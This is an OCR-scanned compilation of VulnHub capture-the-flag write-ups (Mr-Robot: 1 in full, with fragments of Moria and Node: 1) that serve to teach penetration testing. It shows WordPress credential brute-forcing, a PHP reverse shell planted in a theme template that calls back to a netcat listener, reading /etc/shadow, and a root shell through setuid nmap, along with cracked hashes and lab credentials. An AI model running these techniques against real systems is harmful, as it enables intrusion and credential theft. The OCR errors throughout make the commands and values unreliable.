0ri:$6$1zYgjEIN$VQ0gvU7JjenSOWuiVjSeva8pbWnEX jqTmEAFnQRXKmTmXPXmt55/ |

< oyup40NiXD8J9GxmXF7DYiaHZDRshr.......................

Credentials
ftp: Balrog/Mel...

ssh: Ori/span..

References

[+] https://www.valnhub.com/entry/moria-11,187/
[+] https://phackt.com/moria-vulnhub
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https://www.vulnhub.com/entry/moria-11,187/
https://phackt.com/moria-vulnhub

[VulnHub] Mr-Robot: 1

Date: 21/0ct/2019
Categories: oscp, vulnhub, linux
Tags: exploit_ php_ reverseshell, privesc_ setuid, privesc_ nmap

Overview

This is a writeup for VulnHub VM Mr-Robot: 1. Here are stats for this machine from machinescli:

machinescli -t --info "vulnhub#151"

® & privesc_setuid

1 vulnhub#151 Mr-Robot: 1
privesc_nmap

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/mr-robot-1,151/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_php_reverseshell&unscoped_q=exploit_php_reverseshell
https://github.com/7h3rAm/writeups/search?q=privesc_setuid&unscoped_q=privesc_setuid
https://github.com/7h3rAm/writeups/search?q=privesc_nmap&unscoped_q=privesc_nmap
https://www.vulnhub.com/entry/mr-robot-1,151/
https://github.com/7h3rAm/machinescli

[VulnHub] Mr-Robot: 1

'192.168.92.134 |

Y
‘Phase #1: Enumeration‘

L

4 .
443/tcp | BO/tcp

. . . 2
http://192.168.92.134/robots.txt http://192.168.92.134/wp-login

¥ ¥

fsocity.dic key-1-of-3.txt

¥ ¥
username enumeration and password bruteforce

4

Phase #2: Exploitation

L 4

elliot/ER28-0652

¥

http://192.168.92.134/404.php - php reverse shell

Y

netcat (daemon)

4 X .
Phase #3: Privilege Escalation

h
‘/home/robot/password.raw-md5‘

¥

‘robot/abcdefghijklmnopqrstuvwxyz‘

- h J "
lshell (robot)‘ .
: X z l
/home/robot/key-2-0f-3.txt ‘find setuid files - nmap‘
b 4 =
‘shell [root]l

o Y "
l/root/key-3-of-3.txt|

Figure 2: Writeupéoverview.killchain



TTPs

1. 80/tcp/http/Apache httpd: exploit_ php_ reverseshell, privesc_ setuid, privesc_nmap


https://github.com/7h3rAm/writeups#exploit_php_reverseshell
https://github.com/7h3rAm/writeups#privesc_setuid
https://github.com/7h3rAm/writeups#privesc_nmap
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Phase #1: Enumeration

1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Thu Oct 17 15:46:57 2019 as: mmap —vv —--reason —Pn -sV -sC

-—version—-all —-olN

/root/toolbox/writeups/vulnhub.mrrobotl/results/192.168.92.134/scans/_quick_tcp_nmap.tzt

-0X

/root/toolboxz/writeups/vulnhub.mrrobotl/results/192.168.92. 134/scans/zml/_quick_tcp_nmap.zml

192.168.92.134

Nmap scan report for 192.168.92.134

Host is up, received arp-response (0.00077s latency) .
Scanned at 2019-10-17 15:46:58 PDT for 22s

Not shown: 997 filtered ports

Reason: 997 no-responses

PORT STATE SERVICE REASON VERSION
22/tcp closed ssh reset ttl 64
80/tcp open  http syn-ack ttl 64 Apache httpd

http-favicon: Unknown favicon MD5: D41D8CD98FO00B204E9800998ECF8427E

http-methods:

Supported Methods: GET HEAD POST OPTIONS
http-server-header: Apache
http-title: Site doesn't have a title (text/html).

443/tcp open  ssl/http syn-ack ttl 64 Apache httpd

http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E

http-methods:

Supported Methods: GET HEAD POST OPTIONS
http-server-header: Apache
http-title: Site doesn't have a title (text/html).
ssl-cert: Subject: commonName=www.example.com
Issuer: commonName=www.example.com
Public Key type: rsa
Public Key bits: 1024
Signature Algorithm: shalWithRSAEncryption
Not valid before: 2015-09-16T10:45:03
Not valid after: 2025-09-13T10:45:03
MD5: 3c16 3bl9 87c3 42ad 6634 clc9 dOaa fba7
SHA-1: efOc 5fab 931a 09a5 687c a2c2 80c4 c792 07ce f71b

MIIBqzCCARQCCQCgSfELirADCzANBgkqhkiGOwOBAQUFADAaMRgwFgYDVQQDDA93
d3cuZXhhbXBsZS5jb20wHhcNMTUwOTE2MTAONTAZWhcNMjUwOTEZMTAONTAZWjAa
MRgwFgYDVQQDDA93d3cuZXhhbXBsZS5]jb20wgZ8wDQYJKoZThvcNAQEBBQADgYOA
MIGJAoGBAN1xG/38e8Dy/mxwZzBboYF64tuln8c2zsWOwSFFUOazQFxv7RPKcGwt
sALkdAMkNcWS7J930xGamdCZPdoRY4hhfesLIshZxpyk6NoYBkmtx+GfwrrLhémU
yvsyno29GA1qYWfffzXRoibdDtGTnONeMgXobVTTKTaROBGspOS5AgMBAAEWDQYJ
KoZIhvcNAQEFBQADgYEASEGOdH3x4/XaN6IWwaKo8XeRSt jYTy/uBJEBUERIP17X
1TooZ0YbvgFAQK8DP017EkzASVeuOmS50rfptWj0Z/UWVZujSNj7uu7QR4vbNERx
ncZrydr7Fk1pkIN5Bj8SYc94JI9GsrHipdmpbystXkxncoOVESjRBES/iatbkl0=
————— END CERTIFICATE-----

MKC Address: 00:0C:29:C0:00:97 (VMware)

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 17 15:47:20 2019 -- 1 IP address (1 host up) scanned in 23.94 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:


https://github.com/Tib3rius/AutoRecon

1

2

3

4 openports

168.92.
168.92.

134/scans/tcp_80_http_gobuster.txt
134/scans/tcp_80_http_nikto.txt
168.92.134/scans/tcp_80_http_nmap.txt
168.92.134/scans/tcp_80_http_robots.txt
168.92.134/scans/tcp_80_http_whatweb.txt
8.97 134/ Al e s :

ns p_&643_http_nmap

LXT

# Port Protocol Service Scans
./results/192.
./results/192.

1. 80/tcp http ttl 64 Apache httpd ./results/192.
./results/192.
./results/192.
/results/192

2 tcp ssl/http ttl 64 Apache httpd

&

Figure 3: writeup.enumeration.steps.2.1

3. We find 2 interesting entries within the http://192.168.92.134/robots.txt file. One of these is for the first

of the 3 key files and the other entry points to what looks

http://192.168.92.134/robots. txt
http://192.168.92.134/fsocity.dic
http://192.168.92.134/key-1-0f-3.txt

like a dictionary file:

Mew Tab x

-

links

User-agent: *
fsocity.dic
key-1-of-3.txt

192.168.92.134/robots.txt X

— {2 @ 192.168.92.134/robots. txt

Figure 4: writeup.enumeration.steps.3.1

Mew Tab

X | 192.168.92.134/robots.txt

X | 192.168.92.134/key-1-0of-3.° X

&~ =2 6 | © 192.168.92.134/key-1-of- 3.0t
£ links

073403c8a58alTB0d943455Tb30724b9

Figure 5: writeup.enumeration.steps.3.2

4. We download the dictionary file and trim its contents
possible passwords from 858160 to 11451:

to have only unique entries. This reduced the count of



root@kali: ~/toolbox/data/writeups/vulnhub.mrrobotl # cat fsocity.dic | wec -1
858160

root@kali: ~/toolbox/data/writeups/vulnhub.mrrobotl # cat fsocity.dic | sort -u | wc -1
11451
root@kali: ~/toolbox/data/writeups/vulnhub.mrrobotl # cat fsocity.dic | sort -u >fsocity.dic.trimmed

Figure 6: writeup.enumeration.steps.4.1

5. From the gobuster scan, we also find entries pointing to a Wordpress installation. We confirm this by visiting
the login page:

http://192.168.92.134/wp-login

New Tab x ‘ 192.168.92.134/robots.txt X | 192.168.92.134/key-1-of-3.0 X | user's Blog!» Logn ¥ | Page not found | user's Blog! X

6 = @ | ® & 192.168.92.134/wp-login.php?loggedout=true
S links

You are now logged out.

Username

o

word

v
u

a

[[] remember Me

Figure 7: writeup.enumeration.steps.5.1

6. After trying a few credentials manually, we decide to bruteforce usernames first. We first need to create a
usernames list from the fsocity.dic dictionary found earlier. For our case, we will filter on strings that are 4-8
chars long. Doing this, we eventually find 5247 possible candidates. We then bruteforce these strings and find a
valid username:

grep -E '“[a-zA-Z]' fsocity.dic | sort -u | awk 'length($1) <=8 && length($1) >= 4 { print
o $1}' > users

wpuser http://192.168.92.134/ users
Found valid username: elliot
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Found valid username:

Elliot

Found valid username: ELLIQT
root@kali: ~/toolbox/data/writeups/vulnhub.mrrobotl # grep -E '~[a-zA-Z]' fsocity.dic | sort -u | awk 'length($1l) <=8 && length($1) >= 4 { print $1}' > users
root@kali: ~/toolbox/data/writeups/vulnhub.mrrobotl # wc -1 users
5247 users
root@kali: ~/toolbox/data/writeups/vulnhub.mrrobotl #

Figure 8: writeup.enumeration.steps.6.1

root@kali: ~/toolbox/data/writeups/vulnhub.mrrobotl # wpuser http://192.168.92.134/ users
Found valid username: elliot
Found valid username: Elliot
Found valid username: ELLIOT
~C
root@kali: ~/toolbox/data/writeups/vulnhub.mrrobotl #
root@kali: ~/toolbox/data/writeups/vulnhub.mrrobotl #
root@kali: ~/toolbox/data/writeups/vulnhub.mrrobotl # wpscan --url http://192.168.92.134 -P fsocity.dic.trimmed -U elliot

/var/lib/gems/2.5.0/gems/cms_scanner-0.6.0/1ib/cms_scanner/helper.rb:11:

A /

AV VA
NN S
AVARRV

/I N/
LAY AV I D N [
| /N N/

|
Il I/

®
A\

o

WordPress Security Scanner by the WPScan Team

Version 3.7.1

WPScan.io - Online WordPress Vulnerability Scanner
@ WPScan_, @ethicalhack3r, @erwan_lr, @ FireFart_

[+] URL: http://192.

[+] Started: Mon Oct 21 14:51:36 2019

168.92.134/

Findings

Open Ports

80/tcp | http |
443/tcp | ssl/http |
Files

warning: Insecure world writable dir /root/toolbox/scripts in PATH, mode 040777

Figure 9: writeup.enumeration.steps.6.2

Apache httpd
Apache httpd

http://192.168.92.134/robots. txt
http://192.168.92.134/key-1-0f-3.txt

Users

wordpress: elliot



Phase #2: Exploitation

1. We confirm that the username is indeed valid from Wordpress error message for incorrect password. We then
use wpscan to bruteforce password for user elliot using the trimmed dictionary file and find a match:

wpscan --url http://192.168.92.134 -P fsocity.dic.trimmed -U elliot
[i] Valid Combinations Found:
| Username: elliot, Password: ER28-0652

ERROR: The password you entered for the
username elliot is incorrect. Lost vour

password?
Username

elliot

Password

[] Remember Me

Figure 10: writeup.exploitation.steps.1.1



] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - elliot / ER28-0652
ALL Found

Progress Time: 00:00:24 = (12 /'22) 54.54% ETA: ?2:7%:7%

[i] valid Combinations Found:
| username: elliot, Password: ER28-0652

No WPVulnDB API Token given, as a result vulnerability data has not been output.
You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/register.

+] Finished: Mon Oct 21 14:52:63 2019
+] Requests Done: 35
] Cached Requests: 33
] Data sent: 9.039 KB
+] Data Received: 1.238 MB
[+] Memory used: 129.832 MB
+] Elapsed time: 00:00:26
root@kali: ox/data/w

Figure 11: writeup.exploitation.steps.1.2

2. We now authenticate as user elliot to the Wordpress installation and find that this user has administrative
privileges. We can use these privileges to successfully upload a PHP reverse shell by modifying the 404 . php template
and gain interactive access on the target system:

<« @ | ® 192.168.92.134/wp-admin/
5 links

WordPress 5.2.4 is available! Please update now.

Dashboard

At a Glance Quick Draft
Title

WordPress 4.3.21 running Twenty Fifteen Update to 5.2.4

theme.

What's on your mind?
Activity
WordPress News

Loading...

Figure 12: writeup.exploitation.steps.2.1



root@kali: ~/toolbox/data/writeups/vulnhub.mrrobotl # locate php-reverse-shell
/root/toolbox/data/exam-20190831/results,/192.168.29.43/php-reverse-shell.php5
/root/toolbox/data/vulnhub/1ptr/php-reverse-shell.php
Jroot/toolbox/data/writeups/vulnhub.bsidesvancouver28l8workshop/php-reverse-shell.php
/root/toolbox/data/writeups/vulnhub.quaoar/php-reverse-shell.php
/root/toolbox/data/writeups/vulnhub.sedna/php-reverse-shell.php
Jroot/toolbox/scripts/misc/0SCP-note - s@wr@blndef/gain access/shells/php-reverse-shell-1.8
/root/toolbox/scripts/misc/0SCP-note - s@wr@blndef/gain access/shells/php-reverse-shell-1.8/php-reverse-shell.php
Jusr/share/beef-xss/modules/exploits/m@nd@wall/php-reverse-shell.php
fusr/share/laudanum/php/php-reverse-shell.php
Jusr/share/laudanum/wordpress/templates/php-reverse-shell.php
fusr/share/seclists/Web-Shells/laudanum-@.8/php/php-reverse-shell.php
Jusr/share/webshells/php/php-reverse-shell.php

root@kali: ~/toolbox/data/writeups/vulnhub.mrrobotl #

root@kali: ~/toolbox/data/writeups/vulnhub.mrrobotl #

root@kali: -/toolbox/data/writeups/vulnhub.mrrobotl # cp fusr/share/webshells/php/php-reverse-shell.php .
root@kali: ~/toolbox/data/writeups/vulnhub.mrrobotl # subl php-reverse-shell.php

Figure 13: writeup.exploitation.steps.2.2

< {r | @ 192.168.92.134/wp-admin/theme-editor.php?file=404.php&theme=twentyfifteen&scrollto=1572
(5 links

O 10 . + Mew

. Twenty Fifteen: 404 Template (404.php)
;B D;

mAUANS™™ T T aLWIILSHL Tl S T e

» <?php get_footer(); ?=
07 Media

<7php

set_time limit (8);

SVERSION = "1.8";

ip = '192.168.92.179'; // CHANGE THIS
port = 443; // CHANGE THIS
chunk_size = 1488;

write a = null;

LI

P Comments

M Appearance
error a = null;

IGENE
Sdaemon = 0;
Sdebug = 0;

Custor

Figure 14: writeup.exploitation.steps.2.3

()= B [Q 192.168.92.134/404.php

user's Blog!
Just another WordPress site Oops! That page Can’t he found.

Figure 15: writeup.exploitation.steps.2.4
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root@kali: ~/toolbox/data/writeups/vulnhub.mrrobotl # nc -nlvp 443
listening on [any] 443 ..
connect to [192.168.92.179] from (UNKNOWN) [192.168.92.134] 33066
Linux linux 3.13.8-55-generic #94-Ubuntu SMP Thu Jun 18 88:27:1@ UTC 2015 x86 64 x86 64 x86 64 GNU/Linux
21:56:07 up 4:12, © users, load average: 0.01, ©.15, 0.17
USER TTY FR.OM LOGING IDLE JCPU PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: ©: can't access tty; job control turned off
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$
$ uname -a
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 80:27:1@ UTC 2015 x86 64 x86 64 x86 64 GNU/Linux
$
$ ifconfig
ethe Link encap:Ethernet HWaddr @0:0c:29:c0:00:97
inet addr:192.168.92.134 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fec0:97/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1560 Metric:1
RX packets:1163800 errors:175 dropped:182 overruns:® frame:@
TX packets:10863753 errors:0 dropped:0 overruns:0 carrier:0
collisions:@ txqueuelen:1000
RX bytes:928332008 (928.3 MB) TX bytes:848818278 (848.8 MB)
Interrupt:18 Base address:0x2000

Figure 16: writeup.exploitation.steps.2.5
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Phase #2.5: Post Exploitation

robot@linux> id

uid=1002(robot) gid=1002(robot) groups=1002(robot)

robot@linux>
robot@linux> uname

Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 xz86_64 x86_64 x86_64

o  GNU/Linux
robot@linux>
robot@linux> ifconfig

ethO Link encap:Ethernet HWaddr 00:0c:29:c0:00:97
inet addr:192.168.92.134 Bcast:192.168.92.255 Mask:255.255.255.0

inet6 addr: fe80::20c:29ff:fec0:97/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:1167588 errors:175 dropped:102 overruns:0 frame:0
TX packets:1066054 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:928655350 (928.6 MB) TX bytes:849863574 (849.8 MB)

Interrupt:18 Base address:0x2000
robot@linux>
robot@linux> users
root
bitnamiftp
mysql
robot

11
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Phase #3: Privilege Escalation

1. While looking at the /home/ directory we find that there is a directory for user robot and this user has access
to the second key file key-2-0f-3.txt. We have to switch user to access this key file and to do that we need user
robot’s password. We also find a word-readable password.raw-md5 file within this directory and use Google to
find that it is the MDb5 hash of the string abcdefghijklmnopgrstuvwxyz. We can now proceed and switch user:

cat /home/robot/password.raw-mdb
robot:c3£cd3d76192e4007dfb496ccab7el13b

su - robot

cat /home/robot/key-2-o0f-3.txt

daemon@linux:/$ 1ls -1 /home/*

total 8

-F-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5S
daemon@linux: /%

daemon@linux: /%

daemon@linux: /% cat /home/robot/

key-2-of-3.txt password. raw-md5

daemon@linux:/4$ cat /home/robot/key-2-of-3.txt

cat: /home/robot/key-2-o0f-3.txt: Permission denied
daesmon@linux: /%

daemon@linux: /%

daemon@linux:/4$ cat /home/robot/password. raw-md5
robot:c3fcd3d76192e4007dfb496ccab7el3b

daemon@linux: /%

Figure 17: writeup.privesc.steps.1.1

MD5 reverse for c3fcd3d76192e4007dfb496¢cca67e13b

The MD5 hash:
c3fcd3d76192e4007dfb4%6ccaéTellb
was succesfully reversed into the string:

abecdefghijklmnopgrstuvwxyz

Figure 18: writeup.privesc.steps.1.2
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5

daemon@linux: /% su - robot
Password:
$ id
uid=1002(robot) gid=1802(robot) groups=1802(robot)
$
¢ whoami
robot
$
$ ifconfig
-su: ifconfig: command not found
$
$ ip addr
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.6.08.1/8 scope host lo
valid 1ft forever preferred 1ft forever
inet6 ::1/128 scope host
valid 1Tt forever preferred 1ft forever
2: ethe: <BROADCAST ,MULTICAST,UP,LOWER UP> mtu 1508 gdisc pfifo_ fast state UP group default glen 1le@86
link/ether 00:0¢c:29:c0:00:97 brd ff:ff:ff:ff:Tf:ff
inet 192.168.92.134/24 brd 192.168.92.255 scope global ethe
valid 1Tt forever preferred 1ft forever
ineté Te80::20c:29ff:fech:97/64 scope link
valid 1ft forever preferred 1ft forever
$
$
% cat /home/robot/
key-2-of-3.txt password.raw-md5
$ cat /home/robot/key-2-of-3.txt
822c739561847694993bede3eb391959
$

Figure 19: writeup.privesc.steps.1.3

2. We find that the nmap binary on this system has setuid privileges. We can use this to gain elevated access:

find / -type f -perm -04000 2>/dev/null
1ls -la /usr/local/bin/nmap
nmap --interactive

Icat /etc/shadow

!'sh
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$ find / -type T -perm -04800 2>/dev/null

/bin/ping

/bin/umount

Jbin/mount

/bin/ping6

/bin/su

Jusr/bin/passwd

Jusr/bin/newgrp

Jusr/bin/chsh

Jusr/bin/chfn

Jusr/bin/gpasswd

Jusr/bin/sudo

Jusr/local/bin/nmap

Jusr/lib/openssh/ssh-keysign
Jusr/lib/eject/dmcrypt-get-device
Jusr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
fusr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt chown

~C

$

Figure 20: writeup.privesc.steps.2.1

$ 1s -la fusr/local/bin/nmap
-rwsr-xr-x 1 root root 504736 Nov 13 2015 /fusr/local/bin/nmap
$

Figure 21: writeup.privesc.steps.2.2

$ nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter= for help
nmap> !ls

shell.nse vmware-root

waiting to reap child : No child processes

nmap=> !su

Password:

su: Authentication failure

waiting to reap child : No child processes

nmap=
Bogus command -- press h <enter> for help
nmap=

Bogus command -- press h <enter= for help

nmap> !cat /etc/shadow
root:$6$9xQC1KOT$5cmONyttOVF/wi3Np3jZGRSVzpG]j6sXxVHkyILjV4ed IBXTVmMWI1pcGwAYiViSWcAS/ . 0F0iuvylU5IznY2Re. : 16753:0:99999:7: : :
daemon:*:16610:0:99999:7:::

bin:*:16610:0:99999:7:::

Figure 22: writeup.privesc.steps.2.3
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nmap> !sh

# id

uid=1002(robot) gid=1002(robot) euid=0(root) groups=8(root),10802(robot)
#

# whoami

root

#

# ifconfig

sh: 5: ifconfig: not found

#

# ip addr

1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 80:00:00:00:00:00 brd PP:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
inet6 ::1/128 scope host
valid 1ft forever preferred 1ft forever
2: eth®: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast state UP group default qlen leee
link/ether 00:0c:29:c0:00:97 brd ff:ff:ff:ff:ff:ff
inet 192.168.92.134/24 brd 192.168.92.255 scope global ethe
valid 1ft forever preferred 1ft forever
inet6 fe8@::20c:29ff:fec0:97/64 scope link
valid 1ft forever preferred 1ft forever

Figure 23: writeup.privesc.steps.2.4

3. We can now read the /root/key-3-of-3.txt file to complete the challenge:
1 cat /root/key-3-of-3.txt

# 1s -la /root

total 32

drwx------ 3 root root 4096 MNov 13 2015
drwxr-xr-x 22 root root 4096 Sep 16 2015

-rW------- root root 4058 Nov 14 2015 .bash history
-rw-r--r-- root root 3274 Sep 16 2015 .bashrc
drwx------ root root 4096 Nov 13 2015 .cache

root root @ Mov 13 2015 firstboot done
root root 33 Nov 13 2015 key-3-of-3.txt
root root 140 Feb 20 2014 .profile

root root 1024 Sep 16 2015 .rnd

i
-
=

i
-

i

i
-

i

i

= e e e

# cat /root/key-3-of-3.txt
D4787ddef27c3deeleel6lbz1678bded
#

Figure 24: writeup.privesc.steps.3.1
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Loot
Hashes
root: $6$9xQAC1K0£$5cmONyttOVF /wi3Np3jZGRSVzpGj6sXxVHky JLjV4ed1BxTVmWI1pcGwAViViSWcAS/ |
s L0FO0iuvylUSIzn........................
bitnamiftp:$6$saPiFTAH$7K09sgboIfkIsbkuMx1R/
<~ Um4HNd806vF2n80ICEom8VVerOBYATY5wtzdPdP3JeuKbZ4RYBm1OTHNQvVS. . .. ... ..o

robot:$6j
< $HmQCDKcM$mcINMrQFa0Qm7XalUaS5xLEBSeP3bUkr18iwgwTALSAIfUDYBWG5L8J9 . Ukb3gVWUQoYam4GOm. I5qaHBn. . . ...... ..

Credentials

ssh: robot/abcdefghijklmnopqgrs.......
wordpress: elliot/ER28-....

Flags

http://192.168.92.134/key-1-0f-3.txt: 073403c8ab58al1f80d9..............
/home/robot/key-2-0f-3.txt: 822c73956184£694993b............
/root/key-3-0f-3.txt: 04787ddef27c3deeleelf...........

References

[+] https://www.vulnhub.com/entry /mr-robot-1,151/
[+] http://f4113n5n0w.github.io/blog/2016/08/10/vulnhub-mr-robot-1/
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[VulnHub] Node: 1

Date: 28/0ct/2019
Categories: oscp, vulnhub, linux
Tags: exploit_ nodejs, exploit_ credsreuse, exploit_ mongodb, privesc_ setuid

Overview

This is a writeup for VulnHub VM Node: 1. Here are stats for this machine from machinescli:

machinescli -t --info "vulnhub#252"

1A vulnhub#252 Node: 1

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/node-1,252/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_nodejs&unscoped_q=exploit_nodejs
https://github.com/7h3rAm/writeups/search?q=exploit_credsreuse&unscoped_q=exploit_credsreuse
https://github.com/7h3rAm/writeups/search?q=exploit_mongodb&unscoped_q=exploit_mongodb
https://github.com/7h3rAm/writeups/search?q=privesc_setuid&unscoped_q=privesc_setuid
https://www.vulnhub.com/entry/node-1,252/
https://github.com/7h3rAm/machinescli

[VulnHub] Node: 1

1192.168.92.189 |

Y
Phase #1: Enumeration‘

- Y . Y
22/tcp ‘3000/tcp‘

- k4 .
node. js web app

- k4 .
/assets/js/app/controllers/home.js

'/api/users/'

Y

Phase #2: Exploitation

Y

login to web app as user myPl4ceAdmlnAccQuNT

download backup

Y

hardcoded mongodb creds for user mark

Y

mongodb credentials reused for ssh

Y

ssh (mark)

Y
user.txt only accessible by user tom

Y
get netcat reverse shell via mongodb cmdexec bug

Y
netcat (tom)

Y . Y .
/home/tom/user. txt Phase #3: Privilege Escalation

- 4 .
found setuid file /usr/local/bin/backup

l Y

'use to backup root directory - fail | |use to backup symlink'd root directory - success

Y

./tmp/test/root/root.txt.

Figure 2: Writeupjoverview.killchain



TTPs

1. 3000/tcp/http/Node. js Express framework: exploit_nodejs, exploit_credsreuse, exploit_ mongodb,
privesc_ setuid


https://github.com/7h3rAm/writeups#exploit_nodejs
https://github.com/7h3rAm/writeups#exploit_credsreuse
https://github.com/7h3rAm/writeups#exploit_mongodb
https://github.com/7h3rAm/writeups#privesc_setuid
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Tue Oct 22 14:20:26 2019 as: mmap —vv —--reason —Pn -sV -sC

» ——version-all —olN

s /root/toolbox/uwriteups/vulnhub.nodel/results/192.168.92.189/scans/_quick_tcp_nmap.txt -oX
o /root/toolboz/writeups/vulnhub.nodel/results/192.168.92.189/scans/xzml/_quick_tcp_nmap.zml
o 192.168.92.189

Nmap scan report for 192.168.92.189

Host is up, received arp-response (0.00084s latency).

Scanned at 2019-10-22 14:20:28 PDT for 21s

Not shown: 998 filtered ports

Reason: 998 no-responses

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol
s 2.0)

| ssh-hostkey:

| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)

| ssh-rsa

= AAAAB3NzaClyc2EAAAADAQABAAABAQCwesV+Yg8+5097ZnNFclkSnRTeyVnj6XokDNKjhB3+8R2I+r78qJmEgVr/ |
o SLJ44XjDzzlmOVGUquMPQKXANfISZWjV79Ljho3801fY4nbA43492r+6/VXeer0qhhTM4KhSPod5IXllSUGZSqAV+J
< 00ccf6FBxgEtiiWnE+ThrRiEjLYnZyyWUgi4dpE/WPvaJDWtyfVQIrZohayy+pD7AzkLTrsvWzJVASVVE+

< YsaOE1lHfp31Rnw28WacWSaOyVObsPdTgiiOwmoN8f9aKe5q7Pg4ZikkxN1gNG1EnuBThgMQbrx72kMHfRYvdwAqxOPbR jVO6B2SWNW

| 256 6c:8e:be:bf:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)

| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAATbmlzdHAyNTYAAABBBKQ4w0iqXrfzOH+
< KQEu5D6zKCfc6I0H2GRBKKKKOnP/0CrH2I4stmM1C2sGvPLSurZtohhC+100SjKaZTxPudsU=

| 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:bb:da:1e:52:62:36 (ED25519)

| _ssh-ed25519 AAAAC3NzaC11ZDIINTESAAAAIB5cgCL/RuiM/AqW0qKOIL1uuLLjN9ESvDSBVDqQIYUBy
3000/tcp open http syn-ack ttl 64 Node.js Express framework

| hadoop-datanode-info:

|_ Logs: /login

| hadoop-tasktracker-info:

|_ Logs: /login

| _http-favicon: Unknown favicon MD5: 30F2CC86275A96B522F9818576ECE5CF

| http-methods:

| _ Supported Methods: GET HEAD POST OPTIONS

|_http-title: MyPlace

MAC Address: 00:0C:29:FE:C0:B6 (VMware)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 22 14:20:49 2019 -- 1 IP address (1 host up) scanned in 23.99 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

openports

# Port Protocol Service Scans

1. 22/tcp ssh ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux protocal 2.0) ./results/192.168.92.189/scans/tcp_22_ssh_nmap.txt

Figure 3: writeup.enumeration.steps.2.1


https://github.com/Tib3rius/AutoRecon
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3. We explore the 3000/tcp service and find a Node.js webapp. Upon exploring the source we come across few
REST API calls of which the http://192.168.92.189:3000/api/users/ call is very important as it lists regsitered
usernames and password hashes. We use online tools to detect hash type as SHA256 and find plaintext strings for
three users:

username: myPl4ceAdmlnAccOuNT
hash: dffc504aab5359b9265cbebele4032fe600b64475ae3£d29c07d23223334d0at
plaintext: manchester

username: tom
hash: £0e2e750791171b0391b682ec35835bd6a5c3£7c8d1d0191451ec77b4d75£240
plaintext: spongebob

username: mark
hash: debaladf4fedccel1533915edc60177547£1057b61b7119£fd130e1£7428705£73
plaintext: snowflake



New Tab

X | http://192.168.92.185:3000/ X | http://192.168.92.185:3000/ X

“ =2 0w i@ view-source:http://192.168.92.189:3000/

links
T </div>
<!-- Collect the nav links, forms, and cther content for toggling --=
=div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"=
<ul class="nav navbar-nav navbar-right"=
<li class="hidden">
<a href="/"></a>
</li>
<li class="page-scroll">
<a href="/login"=Login</a>
</li=
</ful=>
</div=
<!-- /.navbar-collapse --»
<fdiv=
<!-- f.container-fluid -->
=/nav=>

<!/-- Header --=
<header=
<div class="container"=
<div class="row">
<div class="col-1g-12">
<img class="img-responsive" src="img/profile.png" alt=""=>
<div class="intro-text"=
<span class="name"=>Welcome toc MyPlace=/span>

</div=>
</div=
</div=
</div=
=/header=

<l--[if 1t IE 8]>

<p class="browserupgrade">You are using an <strong=outdateds/strong= browser.
<![endif]--»
<div data-ng-view=""></div>

</body>

<script type="text/javascript”
<script type="text/javascript"”
<script type="text/javascript"
=script type="text/javascript"”
<script e="text/javascript"”
=script type="text/javascripi"
=script type="text/javascript"
<script type="tiext/javascript"
"text/javascript’
pe="text/javascript"

<script type=
